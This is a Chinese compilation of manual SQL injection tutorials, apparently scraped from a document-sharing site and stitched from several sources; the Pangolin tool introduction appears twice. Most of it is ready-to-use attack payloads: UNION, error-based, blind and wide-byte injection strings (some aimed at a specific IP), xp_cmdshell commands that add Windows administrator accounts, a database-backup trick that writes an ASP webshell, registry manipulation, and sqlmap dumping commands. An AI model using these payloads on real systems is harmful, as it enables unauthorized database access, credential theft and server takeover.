全球最全的SQL手工注入教程
- 格式:docx
- 大小:139.35 KB
- 文档页数:67
注⼊命令⼿⼯注⼊命令⼤全1.判断是否有注⼊;and 1=1 ;and 1=22.初步判断是否是mssql ;and user>03.注⼊参数是字符'and [查询条件] and ''='4.搜索时没过滤参数的'and [查询条件] and '%25'='5.判断数据库系统;and (select count(*) from sysobjects)>0 mssql;and (select count(*) from msysobjects)>0 access6.猜数据库 ;and (select Count(*) from [数据库名])>07.猜字段 ;and (select Count(字段名) from 数据库名)>08.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>09.(1)猜字段的ascii值(access);and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0(2)猜字段的ascii值(mssql);and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>010.测试权限结构(mssql);and 1=(select IS_SRVROLEMEMBER('sysadmin'));--;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--;and 1=(select IS_MEMBER('db_owner'));--11.添加mssql和系统的帐户;exec master.dbo.sp_addlogin username;--;exec master.dbo.sp_password null,username,password;--;execmaster.dbo.sp_addsrvrolemember sysadmin username;--;exec master.dbo.xp_cmdshell 'net user username password/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--;exec master.dbo.xp_cmdshell 'net user username password /add';--;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--12.(1)遍历⽬录;create table dirs(paths varchar(100), id int);insert dirs exec master.dbo.xp_dirtree 'c:\';and (select top 1 paths from dirs)>0;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)(2)遍历⽬录;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得⼦⽬录列表;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有⼦⽬录的⽬录树构;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看⽂件的内容13.mssql中的存储过程xp_regenumvalues 注册表根键, ⼦键;exec xp_regenumvalues'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集⽅式返回所有键值xp_regread 根键,⼦键,键值名;exec xp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值xp_regwrite 根键,⼦键, 值名, 值类型, 值值类型有2种REG_SZ 表⽰字符型,REG_DWORD 表⽰整型;exec xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'写⼊注册表xp_regdeletevalue 根键,⼦键,值名exec xp_regdeletevalue'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'删除键,包括该键下所有值14.mssql的backup创建webshelluse modelcreate table cmd(str image);insert into cmd(str) values ('');backup database model to disk='c:\l.asp';15.mssql内置函数;and (select @@version)>0 获得Windows的版本号;and user_name()='dbo' 判断当前系统的连接⽤户是不是sa;and (select user_name())>0 爆当前系统的连接⽤户;and (select db_name())>0 得到当前连接的数据库16.简洁的webshelluse modelcreate table cmd(str image);insert into cmd(str) values ('');backup database model to disk='g:\wwwtest\l.asp';。
SQL手工注入常用方法什么是SQL注入?SQL注入(SQL Injection)是一种常见的网络安全漏洞,攻击者通过在用户输入的数据中插入恶意的SQL代码,从而可以对数据库进行未经授权的访问和操作。
攻击者可以利用这个漏洞获取敏感信息、篡改数据或者执行非法操作。
在应用程序中,当用户输入的数据没有经过正确的过滤和验证时,就容易受到SQL注入攻击。
因此,了解常用的SQL注入方法以及如何防范这些攻击是非常重要的。
SQL手工注入常用方法1. 基于布尔盲注基于布尔盲注是一种常见且有效的手工注入方法。
它利用了数据库查询结果为真或假来判断语句是否执行成功。
攻击者通过构造恶意输入,并观察页面返回结果的变化来推测数据库中存储的信息。
例如,假设存在一个登录页面,用户输入用户名和密码进行登录。
如果应用程序没有对用户输入进行充分验证和过滤,攻击者可以尝试在用户名或密码字段中输入特殊字符来触发SQL注入。
以下是一个简单示例:SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1';在上述示例中,攻击者通过在密码字段中输入' OR '1'='1来构造恶意输入。
由于1=1恒成立,所以整个查询语句将返回所有用户的信息,从而绕过了登录验证。
为了防止基于布尔盲注的攻击,应用程序需要对用户输入进行严格的验证和过滤,并使用参数化查询或预编译语句来构建SQL查询。
2. 基于时间盲注基于时间盲注是一种利用数据库延迟响应时间来判断语句执行结果的手工注入方法。
攻击者通过构造恶意输入,并观察页面返回结果的响应时间来推测数据库中存储的信息。
例如,假设存在一个搜索功能,用户可以通过输入关键字搜索相关内容。
如果应用程序没有对用户输入进行充分验证和过滤,攻击者可以尝试在搜索关键字中插入特殊字符来触发SQL注入。
第一章、简介1.1 Pangolin是什么?Pangolin是一款帮助渗透测试人员进行Sql注入测试的安全工具。
所谓的SQL注入测试就是通过利用目标网站的某个页面缺少对用户传递参数控制或者控制的不够好的情况下出现的漏洞,从而达到获取、修改、删除数据,甚至控制数据库服务器、Web服务器的目的的测试方法。
Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。
它从检测注入开始到最后控制目标系统都给出了测试步骤。
过去有许多Sql注入工具,不过有些功能不完全,支持的数据库不够多,或者是速度比较慢。
但是,在Pangolin发布以后,这些问题都得到了解决。
Pangolin也许是目前已有的注入工具中最好的之一。
1.2 使用Pangolin可以用来如下是一些示例:•渗透测试人员用于发现目标存在的漏洞并评估漏洞可能产生后果的严重程度•网站管理员可以用于对自己开发的代码进行安全检测从而进行修补•安全技术研究人员能够通过Pangolin来更多更深入的理解SQL注入的技术细节1.3 特色如下是Pangolin提供的一部分特点:•全面的数据库支持•独创的自动关键字分析能够减少人为操作且更判断结果准确•独创的内容大小判断方法能够减少网络数据流量•最大话的Union操作能够极大的提高SQL注入操作速度•预登陆功能,在需要验证的情况下照样注入•代理支持•支持HTTPS•自定义HTTP标题头功能•丰富的绕过防火墙过滤功能•注入站(点)管理功能•数据导出功能•……等其他更多1.4 它不能做什么Pangolin只是一个注入验证利用工具,不是一个Web漏洞扫描软件。
因此您不能用它来做整网站的扫描。
另外,他也不支持注入目录遍历等功能,这些功能您可以借助其他的安全工具进行。
1.5 到哪里获取PangolinPangolin的更新速度很快,你可以经常到/web/pangolin去下载最新版本。
1.6 运行环境目前Pangolin只能运行在Windows系统平台,支持32位/64位WindowsNT/2000/XP/2003/Vista/2008。
SQL注⼊绕过总结SQL注⼊绕过总结mysql⼿⼯注⼊⽅法id=1%df’(测试是否存在注⼊,报错则存在)id=1%df’-- -(注释后⾯多余的’limit 0,1 页⾯正常)id=1%df’order by n-- -(order测试字段长度,报错则说明超出最⼤长度)id=-1%df’union select1,2,3-- -id=-1%df’union select1,2,database()-- -(在页⾯回显出当前的数据库名字)id=-1%df’union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+(爆出⽬标表的列名)id=0%df‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出⽬标列的字段名字)mysql⼿⼯注⼊⽅法http://219.153.49.228:48120/new_list.php?id=1⾸先尝试id=1' and 1=1-- - 或者id=1" and 1=1-- - 或者1") and 1=1-- - 或者 1 and 1=1-- -假如是id=1'and1=1-- - 那么and 1=1 就是我们可控的点接下来在这个位置进⾏替换就好http://219.153.49.228:48120/new_list.php?id=1' order by 4-- - 判断字段个数让id查询不到显⽰我们的union select的值且union select 后的数字遵循order by 判断的值http://219.153.49.228:48120/new_list.php?id=-1'union select1,2,3,4-- -查询当前数据库http://219.153.49.228:48120/new_list.php?id=-1union select1,database(),3,4-- -http://219.153.49.228:48120/new_list.php?id=-1union select1,group_concat(table_name),3,4from information_schema.tables where table_schema=database()-- - (注⼊出表名)http://219.153.49.228:48120/new_list.php?id=-1union select1,group_concat(column_name),3,4from information_schema.columns where table_name="StormGroup_member"-- -(注⼊出列名)http://219.153.49.228:48120/new_list.php?id=-1union select1,group_concat(name,0x3a,password),3,4from StormGroup_member-- -(注⼊出字段值)⼿⼯注⼊命令顺序注出所有表http://testid=1' and (select 1 from (select count(*),concat(((select (schema_name) from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -http://test?id=2'and (select1from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -当前数据库http://testid=2' and (select 1 from (select count(*),concat(((select concat(database(),';'))),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -当前数据库的表http://testid=2'and (select1from (select count(*),concat(((select concat(table_name,';') from information_schema.tables where table_schema='security' limit 0,1)),floor (rand(0)*2))x from information_schema.tables group列名http://testid=2' and (select 1 from (select count(*),concat(((select concat(column_name,';') from information_schema.columns where table_name='users' limit 5,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --报字段http://testid=2'and (select1from (select count(*),concat(((select concat(password,';') from users limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) -- -报错注⼊报错注⼊http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.phpid=2' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- -http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.phpid=2'and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -http://192.168.255.199/Tkitn/sqli-labs-master/Less-5/index.phpid=2' and updatexml(1,concat(0x7e,(select (column_name) from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -报错注⼊过程⼤碗宽⾯mysql⼿⼯注⼊⽅法以查找书籍页⾯为例,post⼀个name=1给后端,拼接到sql语句select *from books where bookid =‘$id’limit 0,1;id=1’(测试是否存在注⼊,报错则存在)id=1’-- -(注释后⾯多余的’limit 0,1 页⾯正常)id=1’order by n-- -(order测试字段长度,报错则说明超出最⼤长度)id=-1’union select1,2,3-- -id=-1’union select1,2,database()-- -(在页⾯回显出当前的数据库名字)id=-1’union select1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -(爆出当前数据库的所有表)id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+(爆出⽬标表的列名)id=0‘ union select 1,2,group_concat(username,0x3a,password) from users--+(爆出⽬标列的字段名字)http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,database()--%20-http://219.153.49.228:48896/new_list.php?id=-1%df%27%20union%20select%201,2,3,4,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20--%20-notice,stormgroup_member爆表名的时候要进⾏hash编码id=-1%df'union select1,2,3,4,group_concat(column_name) from information_schema.columns where table_name=0x73746F726D67726F75705F6D656D626572-- -宽字节注⼊页⾯上⼀节我们已经观察过了,这次我们就直接开始思考,并且还是猜测sql为:select*from table where id = $id+(后⾯可能有的限制语句或嵌套查询语句等等,因此我都习惯在注⼊语句后⾯跟注释符屏蔽这些可能的⼲扰)标题是延时注⼊,那么⾸先想到的就是⽤sleep()函数来让页⾯延时打开,进⽽判断出延时注⼊点。
Sqlmap使⽤教程sqlmap也是渗透中常⽤的⼀个注⼊⼯具,其实在注⼊⼯具⽅⾯,⼀个sqlmap就⾜够⽤了,只要你⽤的熟,秒杀各种⼯具,只是⼀个便捷性问题,sql注⼊另⼀⽅⾯就是⼿⼯党了,这个就另当别论了。
今天把我⼀直以来整理的sqlmap笔记发布上来供⼤家参考。
sqlmap简介sqlmap⽀持五种不同的注⼊模式:1、基于布尔的盲注,即可以根据返回页⾯判断条件真假的注⼊。
2、基于时间的盲注,即不能根据页⾯返回内容判断任何信息,⽤条件语句查看时间延迟语句是否执⾏(即页⾯返回时间是否增加)来判断。
3、基于报错注⼊,即页⾯会返回错误信息,或者把注⼊的语句的结果直接返回在页⾯中。
4、联合查询注⼊,可以使⽤union的情况下的注⼊。
5、堆查询注⼊,可以同时执⾏多条语句的执⾏时的注⼊。
sqlmap⽀持的数据库有MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB检测注⼊基本格式默认使⽤level1检测全部数据库类型指定数据库类型为mysql,级别为3(共5级,级别越⾼,检测越全⾯)跟随302跳转当注⼊页⾯错误的时候,⾃动跳转到另⼀个页⾯的时候需要跟随302,当注⼊错误的时候,先报错再跳转的时候,不需要跟随302。
⽬的就是:要追踪到错误信息。
cookie注⼊从post数据包中注⼊可以使⽤burpsuite或者temperdata等⼯具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数注⼊成功后获取数据库基本信息查询有哪些数据库查询test数据库中有哪些表查询test数据库中admin表有哪些字段dump出字段username与password中的数据其他命令参考下⾯从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。
SQL注⼊语句-⼿⼯测试准备⼯作:先把IE菜单=>⼯具=>Internet选项=>⾼级=>显⽰友好 HTTP 错误信息前⾯的勾去掉。
否则,不论服务器返回什么错误,IE都只显⽰为HTTP 500服务器错误,不能获得更多的提⽰信息。
数字型:and 1=1 and 1=2 判断是否存在注⼊字符型:' and '1'='1 ' and '1'='2搜索型:关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='%IIS报错情况下使⽤:1. and user>0 (判断是ACCESS还是MSSQL)不报错则使⽤各⾃数据库特性来判断2. and (select count(*) from msysobjects)>0 (返回权限不⾜access数据库)3. and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)4. and db_name()>0 (返回数据库名)5. and 0<>(select @@version)-- (判断版本信息)6. and db_name()>0 (返回数据库名)************注意:猜解之前先要找到后台地址,不然⽩忙了**********ACCESS注⼊:猜解表名(正常则存在admin,不正常则不存在)and exists (select * from [admin])and (Select Count(*) from Admin)>0猜解字段:(字段username存在则正常,不正常则不存在)and (Select username from Admin)>0and exists (select username from [admin])猜解⽤户名和密码长度and (select top 1 len(username) from Admin)>0and (select top 1 len(password) from Admin)>0原理:如果top 1的username长度⼤于0,则条件成⽴;接着就是>1、>2、>3这样测试下去,⼀直到条件不成⽴为⽌,⽐如>4成⽴,>5不成⽴,就是len(username)=5,即⽤户名长度为5.得到username的长度后,⽤mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码.猜解⽤户and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,当输⼊到109时,显⽰错误,⽽108之前显⽰正确,说明第⼀个字符的ASCII码为109.,得到第⼀个字符是m。
sql注入插入语句SQL注入是一种常见的网络攻击手段,通过在用户输入的数据中注入恶意的SQL代码,从而达到绕过应用程序的验证和控制,进而对数据库进行非法操作的目的。
本文将针对SQL注入的插入语句进行列举,并对每个语句进行详细解析,以帮助读者理解SQL注入的原理和防范方法。
1. 插入语句:INSERT INTO users (username, password) VALUES ('admin', '123456');--解析:这是一个简单的插入语句,向名为users的表中插入一条记录,包含用户名和密码。
由于注入点在VALUES关键字后面,因此可以通过注入语句绕过对密码的合法性验证。
2. 插入语句:INSERT INTO users (username, password) VALUES ('admin', '123456'); DROP TABLE users;--解析:这个注入语句不仅插入了一条用户名为admin,密码为123456的记录,还通过注入语句删除了users表。
这是一种非常危险的注入方式,可以导致数据丢失和应用程序崩溃。
3. 插入语句:INSERT INTO users (username, password) VALUES ('admin', '123456'); SELECT * FROM users;--解析:这个注入语句插入了一条记录后,通过注入语句查询了users表的所有记录。
这种注入方式可以用于获取敏感信息,如用户的密码和其他个人数据。
4. 插入语句:INSERT INTO users (username, password) VALUES ('admin', '123456'); UNION SELECT username, password FROM admin;--解析:这个注入语句插入了一条记录后,通过UNION关键字进行了数据联合查询,将admin表中的用户名和密码添加到了查询结果中。
第一章、简介1.1 Pangolin是什么?Pangolin是一款帮助渗透测试人员进行Sql注入测试的安全工具。
所谓的SQL注入测试就是通过利用目标网站的某个页面缺少对用户传递参数控制或者控制的不够好的情况下出现的漏洞,从而达到获取、修改、删除数据,甚至控制数据库服务器、Web服务器的目的的测试方法。
Pangolin能够通过一系列非常简单的操作,达到最大化的攻击测试效果。
它从检测注入开始到最后控制目标系统都给出了测试步骤。
过去有许多Sql注入工具,不过有些功能不完全,支持的数据库不够多,或者是速度比较慢。
但是,在Pangolin发布以后,这些问题都得到了解决。
Pangolin也许是目前已有的注入工具中最好的之一。
1.2 使用Pangolin可以用来如下是一些示例:∙渗透测试人员用于发现目标存在的漏洞并评估漏洞可能产生后果的严重程度∙网站管理员可以用于对自己开发的代码进行安全检测从而进行修补∙安全技术研究人员能够通过Pangolin来更多更深入的理解SQL注入的技术细节1.3 特色如下是Pangolin提供的一部分特点:∙全面的数据库支持∙独创的自动关键字分析能够减少人为操作且更判断结果准确∙独创的内容大小判断方法能够减少网络数据流量∙最大话的Union操作能够极大的提高SQL注入操作速度∙预登陆功能,在需要验证的情况下照样注入∙代理支持∙支持HTTPS∙自定义HTTP标题头功能∙丰富的绕过防火墙过滤功能∙注入站(点)管理功能∙数据导出功能∙……等其他更多1.4 它不能做什么Pangolin只是一个注入验证利用工具,不是一个Web漏洞扫描软件。
因此您不能用它来做整网站的扫描。
另外,他也不支持注入目录遍历等功能,这些功能您可以借助其他的安全工具进行。
1.5 到哪里获取PangolinPangolin的更新速度很快,你可以经常到/web/pangolin去下载最新版本。
1.6 运行环境目前Pangolin只能运行在Windows系统平台,支持32位/64位WindowsNT/2000/XP/2003/Vista/2008。
全球最全的SQL手工注入教程!(1)听说很多人想学SQL手工注入,但网上的资料都很不全,我在家没事就帮大家找了一些关于SQL手工注入经典的教程,希望能给大家带来帮助......SQL 注入天书- ASP 注入漏洞全接触收藏引言随着B/S 模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。
但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
SQL注入是从正常的WWW 端口访问,而且表面看起来跟一般的Web 页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS 日志的习惯,可能被入侵很长时间都不会发觉。
但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。
能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是高手与―菜鸟‖的根本区别。
根据国情,国内的网站用ASP+Access 或SQLServer 的占70% 以上,PHP+MySQ 占20%,其他的不足10%。
在本文,我们从分入门、进阶至高级讲解一下ASP 注入的方法及技巧,PHP 注入的文章由NB 联盟的另一位朋友zwell 撰写,希望对安全工作者和程序员都有用处。
了解ASP 注入的朋友也请不要跳过入门篇,因为部分人对注入的基本判断方法还存在误区。
大家准备好了吗?Lets Go...入门篇如果你以前没试过SQL注入的话,那么第一步先把IE 菜单=>工具=> Internet 选项=> 高级=> 显示友好HTTP 错误信息前面的勾去掉。
否则,不论服务器返回什么错误,IE都只显示为HTTP 500 服务器错误,不能获得更多的提示信息。
第一节、SQL注入原理以下我们从一个网站开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。
在网站首页上,有名为― IE 不能打开新窗口的多种解决方法‖的链接,地址为:/showdetail.asp?id=49,我们在这个地址后面加上单引号‘,服务器会返回下面的错误提示:Microsoft JET Database Engine 错误80040e14字符串的语法错误在查询表达式ID=49 中。
/showdetail.asp,行8从这个错误提示我们能看出下面几点:网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。
程序没有判断客户端提交的数据是否符合程序要求。
该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。
第二节、判断能否进行SQL注入看完第一节,有一些人会觉得:我也是经常这样测试能否注入的,这不是很简单吗?其实,这并不是最好的方法,为什么呢?首先,不一定每台服务器的IIS 都返回具体错误提示给客户端,如果程序中加了cint(参数) 之类语句的话,SQL注入是不会成功的,但服务器同样会报错,具体提示信息为处理URL 时服务器上出错。
请和系统管理员联络。
其次,部分对SQL注入有一点了解的程序员,认为只要把单引号过滤掉就安全了,这种情况不为少数,如果你用单引号测试,是测不到注入点的那么,什么样的测试方法才是比较准确呢?答案如下:/showdetail.asp?id=49/showdetail.asp?id=49 ;and 1=1/showdetail.asp?id=49 ;and 1=2这就是经典的1=1、1=2 测试法了,怎么判断呢?看看上面三个网址返回的结果就知道了,可以注入的表现:正常显示(这是必然的,不然就是程序有错误了)正常显示,内容基本与 1 相同提示BOF 或EOF(程序没做任何判断时)、或提示找不到记录(判断了rs.eof 时)、或显示内容为空(程序加了on error resume next)不可以注入就比较容易判断了,1 同样正常显示,2 和 3 一般都会有程序定义的错误提示,或提示类型转换时出错。
当然,这只是传入参数是数字型的时候用的判断方法,实际应用的时候会有字符型和搜索型参数,我将在中级篇的―SQL注入一般步骤‖再做分析。
第三节、判断数据库类型及注入方法不同的数据库的函数、注入方法都是有差异的,所以在注入之前,我们还要判断一下数据库的类型。
一般ASP 最常搭配的数据库是Access 和SQLServer,网上超过99% 的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢?来看看:SQLServer 有一些系统变量,如果服务器IIS 提示没关闭,并且SQLServer 返回错误提示的话,那可以直接从出错信息获取,方法如下:/showdetail.asp?id=49 ;and user>0这句语句很简单,但却包含了SQLServer 特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。
让我看来看看它的含义:首先,前面的语句是正常的,重点在and user>0,我们知道,user 是SQLServer 的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。
拿一个nvarchar 的值跟int 的数0 比较,系统会先试图将nvarchar 的值转成int 型,当然,转的过程中肯定会出错,SQLServer 的出错提示是:将nvarchar 值‖abc‖ 转换数据类型为int 的列时发生语法错误,呵呵,abc 正是变量user 的值,这样,不废吹灰之力就拿到了数据库的用户名。
在以后的篇幅里,大家会看到很多用这种方法的语句。
顺便说几句,众所周知,SQLServer 的用户sa 是个等同Adminstrators 权限的角色,拿到了sa 权限,几乎肯定可以拿到主机的Administrator 了。
上面的方法可以很方便的测试出是否是用sa 登录,要注意的是:如果是sa 登录,提示是将‖dbo‖ 转换成int 的列发生错误,而不是‖sa‖。
如果服务器IIS 不允许返回错误提示,那怎么判断数据库类型呢?我们可以从Access 和SQLServer 和区别入手,Access 和SQLServer 都有自己的系统表,比如存放数据库中所有对象的表,Access 是在系统表[msysobjects ]中,但在Web 环境下读该表会提示―没有权限‖,SQLServer 是在表[sysobjects] 中,在Web 环境下可正常读取。
在确认可以注入的情况下,使用下面的语句:/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0如果数据库是SQLServer,那么第一个网址的页面与原页面/showdetail.asp?id= 49 是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。
如果数据库用的是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同;第二个网址,则视乎数据库设置是否允许读该系统表,一般来说是不允许的,所以与原网址也是完全不同。
大多数情况下,用第一个网址就可以得知系统所用的数据库类型,第二个网址只作为开启IIS 错误提示时的验证。
进阶篇在入门篇,我们学会了SQL注入的判断方法,但真正要拿到网站的保密内容,是远远不够的。
接下来,我们就继续学习如何从数据库中获取想要获得的内容,首先,我们先看看SQL注入的一般步骤:第一节、SQL注入的一般步骤首先,判断环境,寻找注入点,判断数据库类型,这在入门篇已经讲过了。
其次,根据注入参数类型,在脑海中重构SQL语句的原貌,按参数类型主要分为下面三种:ID=49 这类注入的参数是数字型,SQL语句原貌大致如下:Select * from 表名where 字段=49注入的参数为ID=49 And [查询条件],即是生成语句:Select * from 表名where 字段=49 And [查询条件]Class=连续剧这类注入的参数是字符型,SQL语句原貌大致概如下:Select * from 表名where 字段=‘连续剧‘注入的参数为Class=连续剧‘ and [查询条件] and ‗‘=‘ ,即是生成语句:Select * from 表名where 字段=‘连续剧‘ and [查询条件] and ‗‘=‘‘搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下:Select * from 表名where 字段like ‘%关键字%‘注入的参数为keyword=‘ and [查询条件] and ‗%25‘=‘,即是生成语句:Select * from 表名where 字段like ‘%‘ and [查询条件] and ‗%‘=‘%‘接着,将查询条件替换成SQL语句,猜解表名,例如:ID=49 And (Select Count(*) from Admin)>=0如果页面就与ID=49 的相同,说明附加条件成立,即表Admin 存在,反之,即不存在(请牢记这种方法)。
如此循环,直至猜到表名为止。
表名猜出来后,将Count(*) 替换成Count(字段名),用同样的原理猜解字段名。
有人会说:这里有一些偶然的成分,如果表名起得很复杂没规律的,那根本就没得玩下去了。
说得很对,这世界根本就不存在100% 成功的黑客技术,苍蝇不叮无缝的蛋,无论多技术多高深的黑客,都是因为别人的程序写得不严密或使用者保密意识不够,才有得下手。
有点跑题了,话说回来,对于SQLServer 的库,还是有办法让程序告诉我们表名及字段名的,我们在高级篇中会做介绍。
最后,在表名和列名猜解成功后,再使用SQL 语句,得出字段的值,下面介绍一种最常用的方法-Ascii 逐字解码法,虽然这种方法速度很慢,但肯定是可行的方法。
我们举个例子,已知表Admin 中存在username 字段,首先,我们取第一条记录,测试长度:/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0先说明原理:如果top 1 的username 长度大于0,则条件成立;接着就是>1、>2、>3 这样测试下去,一直到条件不成立为止,比如>7成立,>8 不成立,就是len(username)=8当然没人会笨得从0,1,2,3 一个个测试,怎么样才比较快就看各自发挥了。